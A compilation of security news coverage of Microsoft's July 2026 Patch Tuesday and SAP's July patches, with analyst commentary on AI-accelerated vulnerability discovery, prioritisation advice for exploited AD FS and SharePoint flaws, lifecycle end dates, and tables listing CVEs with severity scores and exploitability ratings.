Wed, 15 Jul 2026 07:23:24 +0200

The post Microsoft Patch Tuesday July 2026 – Record 570 Vulnerabilities Patched appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Patch Tuesday roundup: Microsoft fixes a monthly record 569 holes; SAP patches a critical memory corruption bug

Wed, 15 Jul 2026 04:07:16 +0200

Earlier this month Microsoft warned that, because the latest AI models can now help discover vulnerabilities, CSOs will see a higher volume of security updates every month. It wasn’t kidding.

Today the company issued a record number of patches, with 59 rated as critical. And Microsoft is now recommending that customers accelerate their patching schedules to more quickly deal with critical flaws.

“Normally we have to wait for October or November to determine if we’ll break the previous [annual] patch volume record,” which was 1,245 vulnerabilities found in 2020, commented Satnam Narang, senior staff research engineer at Tenable. But not this year. Tenable counted 569 CVEs that were patched officially as part of this month’s Patch Tuesday, excluding the server-side updates not requiring user intervention, smashing last month’s record of 198 fixes

It’s probable, he said, that by the end of this year, Microsoft will have found over 3,000 common vulnerabilities and exposures (CVEs).

Today’s volume of holes is “striking,” he added, “but it reflects how good these tools have become at finding bugs, not how many of those bugs actually pose a risk to organizations.”

Separately, SAP released 20 new and updated security patches, including a critical memory corruption vulnerability in NetWeaver Application Server ABAP, SAP Kernel, and frontend services tied to SAP GUI for HTML, which has a CVSS score of 9.9.

Microsoft patches

Among the huge number of CVEs that Microsoft found were three zero-days that need to be patched, including two that have been exploited in the wild.

Those two are both elevation of privilege vulnerabilities: CVE-2026-56155, an Active Directory Federation Services (AD FS) flaw that allows attackers with limited access to elevate privileges to administrator, and CVE-2026-56164, a Microsoft SharePoint Server vulnerability.

The third is CVE-2026-50661, a security feature bypass in Windows BitLocker, which was noted as having been publicly disclosed. “We surmise that this could be related to a flurry of zero-day vulnerabilities disclosed by the researcher known as Nightmare Eclipse or Chaotic Eclipse,” Narang said, “though no official confirmation was made. We also know that the researcher promised to drop something on Patch Tuesday.”

While these were the most noteworthy flaws this month, Narang said, for CSOs the July patches prove that the state of the Exploitability Index, which rates how likely a vulnerability is to be exploited, must shift, given the machine speed of exploit discovery. For example, he pointed out, in May, Microsoft originally tagged CVE-2026-45659, a SharePoint vulnerability, as exploitation less likely. However, the vulnerability was added to the US Cybersecurity & Infrastructure Security Agency’s list of known exploited vulnerabilities on July 1.

He added that Anthropic’s Red Team’s own findings for known vulnerabilities (n-days) revealed how fragile the monthly Patch Tuesday system has become, with its Mythos Preview model being able to produce proof-of-concept exploits for 13 of 14 vulnerabilities that were rated as Exploitation Less Likely or Exploitation Unlikely.

“What this means is that our way of looking at Patch Tuesday has changed, because the exploitability index is centered around humans, not AI tools, and as these tools continue to improve, defense needs to improve alongside it,” Narang said.

Dustin Childs, head of threat awareness at TrendAI’s Zero Day Initiative, agreed.

“To call this record-breaking is a massive understatement,” said Childs. “This is the ‘Mother of All Releases’. The bug apocalypse has fully descended upon us, with July’s numbers pushing the year-to-date CVE count past every single full-year total of the last 20 years. Security teams need to take an extended break from their regularly scheduled activities to eat this elephant one byte at a time, starting immediately with active exploits in Active Director FS and SharePoint.”

He particularly drew attention to a near-perfect 9.9 CVSS flaw in Windows VMSwitch (CVE-2026-57092) that allows low-privileged attackers to escape virtual machine boundaries for full host compromise.

Jack Bicer, director of vulnerability research at Action1, agreed that IT leadership should prioritize immediate remediation of the actively exploited Active Directory Federation Services elevation of privilege vulnerability and the SharePoint Server elevation of privilege vulnerability .

After that, he said, priority should be given to these critical vulnerabilities: Active Directory Certificate Services Elevation of Privilege Vulnerability (CVE-2026-54121), which introduces the possibility of attackers impersonating trusted systems and potentially compromising AD through certificate abuse; a Windows Active Directory Domain Services remote code execution vulnerability (CVE-2026-49164) which enables unauthenticated remote code execution against one of the most critical components within Windows enterprise environments; a Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central remote code execution vulnerability (CVE-2026-55944); a Microsoft Exchange Server spoofing vulnerability (CVE-2026-55008); Microsoft SQL Server remote code execution vulnerabilities (CVE-2026-54118 and CVE-2026-54117); and multiple Windows DHCP Server vulnerabilities.

These holes create opportunities for attackers to compromise financial systems, communication platforms, databases, and core network infrastructure, Bicer pointed out, systems which often provide direct access to sensitive business information and frequently serve as high-value targets for ransomware operators and advanced threat actors.

There are also important security updates for Microsoft Defender, Bicer added, noting that vulnerabilities affecting endpoint protection software deserve immediate attention because successful exploitation undermines one of the organization’s primary defensive controls.

IT teams must prioritize

AJ Grotto, a research scholar at the Centre for International Security and Co-operation and former Senior White House Director for Cyber Policy, said that Microsoft’s July Patch Tuesday “is a stark reminder that security teams are now operating in an era of vulnerability volume and velocity. With 570 vulnerabilities patched, including three actively exploited zero-days, the biggest concern for CSOs isn’t just the number of flaws, but the concentration of risk around identity systems, collaboration platforms, and privilege escalation pathways. The actively exploited vulnerabilities in Active Directory Federation Services and SharePoint are especially concerning because they target technologies that sit at the center of enterprise trust and access.”

He added, “for CSOs, the challenge is no longer just defending against threat actors, it’s keeping up with an accelerating cycle of vulnerabilities and updates across the Microsoft ecosystem in the AI era. Security leaders should think critically about diversifying their vendors to protect their enterprise and save time and money on patching an increasing list of bugs that nearly tripled month-over-month.”

“While the sheer number of [Microsoft] vulnerabilities might seem alarming on the surface,” said Nick Carroll and Rain Baker of the Nightwing ShadowScout threat intelligence team, “this can actually be seen as a positive sign for enterprise security. It means vendors are finding and fixing flaws before adversaries can weaponize them en masse.”

And Josh Taylor, lead cybersecurity analyst at Fortra, noted that 26 of the Microsoft vulnerabilities have a CVSS base score above 9.0, and 13 of those sit at 9.8. “That matters,” he said, “but CVSS is still only one part of the risk story. The real triage problem this month is the mix of exploited issues, a publicly disclosed BitLocker flaw, and a massive concentration of vulnerabilities in Windows and Office.”

He said, “for patching teams, this is the kind of month that rewards discipline. The right move is not panic, it is sequencing: put exploited issues and exposed infrastructure first, then let the normal validation process do its job.”

Others increasing their patch cadence too

Chris Goettl, vice-president of product management at Ivanti, noted many software vendors in addition to Microsoft are increasing their security update cadence. For example, Cisco Systems has just shifted to a risk-based, twice-monthly disclosure model (the first and third Wednesday of each month), Mozilla is on a near weekly security update march, and Oracle’s new Critical Security Patch Update (CSPU) program has been delivering targeted critical-severity fixes on the 3rd Tuesday of non-CPU months since May.

Nightwing also noted that Adobe issued 12 separate security bulletins for products in its first twice-monthly bulletin. Administrators must treat today’s Priority 1 ColdFusion update (APSB26-82) with urgency, as it patches a critical 9.9 CVSS path traversal vulnerability (CVE-2026-48318). It’s one of 11 ColdFusion vulnerabilities patched.

Additionally, retail and web administrators should immediately prioritize Adobe Commerce (APSB26-73), which resolves a 9.6 CVSS flaw allowing unrestricted uploads of dangerous file types (CVE-2026-48356).

SAP vulnerabilities

Jonathan Stross, senior product manager for cybersecurity research and innovation at Pathlock, said the most critical of the SAP fixes is Note 3747367, a memory corruption vulnerability in NetWeaver Application Server ABAP, with a CVSS score of 9.9. The vulnerability affects the ABAP Application Server, SAP Kernel, and frontend services tied to SAP GUI for HTML.

According to SAP, an authenticated attacker can trigger logical memory-management errors that may lead to unauthorized data access, data modification, or system unavailability. The likely attack scenario involves a compromised account or malicious insider abusing a crafted request that reaches the vulnerable code path.

“Because a successful exploit can impact confidentiality, integrity, and availability at the platform level, while potentially destabilizing a core ABAP system, organizations should treat this as the highest-priority patch in the July release,” Stross said.

Prioritize the critical ABAP kernel issue, plus the AppRouter request smuggling note, and the Commerce Cloud sample-credential issue first, he said, because these are the most likely to produce direct security impact in real environments.

But do not treat the updated notes as noise, he added. The July overview includes three re-released items that still matter operationally, and this should be reflected in patch planning and change records. The attack surface is distributed: ABAP, Java, BTP, Commerce, SAProuter, UI5, and supporting libraries all appear in the same monthly cycle, so patching needs coordinated platform ownership.

Thomas Fritsch, an SAP researcher at Onapsis, described the SAP Security notes in detail and noted that SAP teams who can’t immediately install the NetWeaver memory corruption fix can, as a temporary workaround, disable all ICF nodes with a specific property in transaction SICF. However, since the workaround will disable opening transactions in SAP GUI for HTML, it is not an option for all customers and it is strongly recommended to install the patched ABAP Kernel version.

Patching should become continuous

“AI is likely to expose new classes of weaknesses, and will introduce some of its own through AI-assisted development,” commented Gene Moody, Field CTO at Action1. “Logically, with that in mind, the future of updating must become more continuous, more adaptive, and less tied to a fixed calendar. Discovery will not follow business logic; it will be swift and unforgiving. We must accept that, and be just as diligent in our defense, because the cost of failure is higher than the inconvenience of change.”

He added, “in my crystal ball, I see a future where Microsoft and others move steadily away from scheduled monthly patch cycles in favor of rolling updates for most security issues in as close to live time as they can be researched and released. That would be a win for the entire industry. Faster patch creation and delivery, paired with more agile practices on the customer side, would finally start to align patching with the pace of modern discovery and exploitation.”

“What needs to happen is simple,” he said. “Patching on a calendar is no longer a safe assumption in today’s threat landscape. Patching where and when needed versus scheduled is the only path forward.”

Patch Tuesday - July 2026

Wed, 15 Jul 2026 00:23:40 +0200

Microsoft is publishing 622 vulnerabilities on July 2026 Patch Tuesday, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for one other. As usual, browser vulns are not included in the Patch Tuesday count above. Rapid7 noted last month that Microsoft no longer enumerates Chromium CVEs in the Security Update Guide. However, Microsoft has now taken the pursuit of minimalism much further, since today’s Security Update Guide no longer lists out even Microsoft vulnerabilities! Instead, we now receive a summary table of vulnerability counts by product family, as well as a new slimline “Notable CVEs” section. All of this only serves to illustrate the recent industry-wide trend of exploding vulnerability report counts, with an associated uptick in the publication of remediations as a trailing indicator.

SharePoint: critical auth bypass by Rapid7

Today sees the publication of CVE-2026-55040, a critical authentication bypass in Microsoft SharePoint. Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer, and published today in coordination with Microsoft, this vulnerability is the first in a pair of exploits which, when chained together, can lead to unauthenticated remote code execution against a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. As the full Rapid7 blog post sets out, the second vulnerability in the full RCE chain remains embargoed for now, with Microsoft expected to publish patches for that second vulnerability as part of Patch Tuesday August 2026. Microsoft noted: “We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

SharePoint: zero-day EoP

It’s a rare Patch Tuesday which doesn’t include multiple SharePoint fixes, and today is no exception. Microsoft is aware of existing in-the-wild exploitation of CVE-2026-56164, where successful exploitation allows an attacker to elevate privileges over a network, with no existing privileges required, and low attack complexity since “an attacker does not require significant prior knowledge of the system, and can achieve repeatable success”. This is as good an example as any that a relatively low CVSS v3 base score (5.3) may be an imperfect signal concealing something much spicier, and Microsoft acknowledges that possibility by assigning a severity rating of Important. Microsoft certainly intended to list CVE-2026-56164 in the new Notable CVEs section of the Security Update Guide instead of erroneously listing CVE-2026-56155 twice, and it’s likely that this will be corrected shortly.

What’s the opposite of coordinated disclosure?

After years of relative stability, the Patch Tuesday process has experienced significant turbulence so far in 2026. As well as the AI-fuelled exponential growth of vulnerability reporting and discovery, Microsoft is grappling with the emergence of a series of vulnerabilities disclosed in such a way as to bring maximum discomfort for Redmond. Pseudonymous researcher Nightmare Eclipse dropped another Defender elevation of privilege vulnerability in the hours following Patch Tuesday June 2026, which Microsoft subsequently published and patched as CVE-2026-50656, along with a terse acknowledgement of the vulnerability’s celebrity nickname of RoguePlanet. Recently, Nightmare Eclipse has given conflicting estimates of what sort of surprises Microsoft can expect today, as well as claiming that the CVE-2026-50656 patches introduce a new avenue for a disk exhaustion attack. Today, a new proof of concept for a further vulnerability nicknamed LegacyHive has emerged from the same source, which appears to allow a non-privileged user to mount another user’s user hive.

Microsoft BitLocker receives patches today for a publicly-known security feature bypass vulnerability. The advisory for CVE-2026-50661 explains that an unauthorized attacker with physical access to the target machine can bypass Windows BitLocker. While Microsoft doesn’t confirm either way, it’s very probable that this is a patch for the GreatXML vulnerability which Nightmare Eclipse announced the day after Patch Tuesday June 2026.

Active Directory Federation Services: zero-day EoP

Active Directory administrators should note the emergence today of CVE-2026-56155, an exploited-in-the-wild elevation of privilege vulnerability in Active Directory Federation Services which allows an authorized attacker to elevate privileges locally. Eight other vulnerabilities are also published today in Active Directory Federation Services, all ranked as Important on Microsoft’s proprietary severity ranking scale. The advisory doesn’t explicitly describe the location of the attacker, but it’s likely that an attacker would need an existing toehold on the target system to chain together with the elevation of privilege opportunity on offer here.

Age of Empires II: RCE

Historically, Patch Tuesday hasn’t seen too many security patches for video games. However, Age of Empires II: Definitive Edition is a new entrant to the Microsoft CVE roster today. Veteran AoE2 players may well be familiar with dangerous opposition early game strategies such as the Persian Town Center nuisance or the Aztec monk rush, but anyone who opens a malicious game scenario file without applying the patch for CVE-2026-50663 might suffer a serious defeat. Successful exploitation allows an attacker to place malicious files in unexpected locations, potentially enabling code execution on the target system.

Microsoft lifecycle update

As Rapid7 noted last month, there are some significant Microsoft product lifecycle changes taking place in mid-July. SQL Server 2016 moves beyond regular extended support and into the pay-to-play Extended Security Updates (ESU) phase from July 15, 2026, and its older sibling SQL Server 2014 moves into the third and final year of ESU. Also on July 14, 2026, SharePoint Server 2016 and 2019 reach extended end date, and since there’s no ESU available, the only remaining option for fully-supported self-hosted SharePoint after today is SharePoint Subscription Edition. The July 2026 lifecycle casualties continue with Project Server 2016 and 2019, Dynamics GP 2016 and 2016 R2, InfoPath 2013, and SharePoint Designer 2013, which also all reach their Extended End Dates, ending their supported lifecycles. Visual Studio 2022 Version 17.12 Long-Term Servicing Channel (LTSC) reaches its release end date on July 14, leaving either the Visual Studio 2022 current channel or an upgrade to Visual Studio 2026 as supported options.

Summary charts

Summary tables

Apps vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8

Azure vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	N/A	No	8.8
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2

Developer Tools vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-47302	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50525	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50651	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-57108	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-50659	.NET Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50526	.NET Tampering Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8

Device vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8

ESU vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	N/A	No	4.8
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	N/A	No	8.8
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	6.3
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-49174	DNS Client Tampering Vulnerability	Exploitation Unlikely	No	6.1
CVE-2026-50495	DNS Client Tampering Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Exploitation More Likely	No	9.6
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Exploitation More Likely	No	8.4
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.9
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.8
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.2
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Exploitation Less Likely	Yes	6.1
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Exploitation Less Likely	No	8.0
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Exploitation More Likely	No	6.0
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.3
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.2
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Exploitation More Likely	No	8.4
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
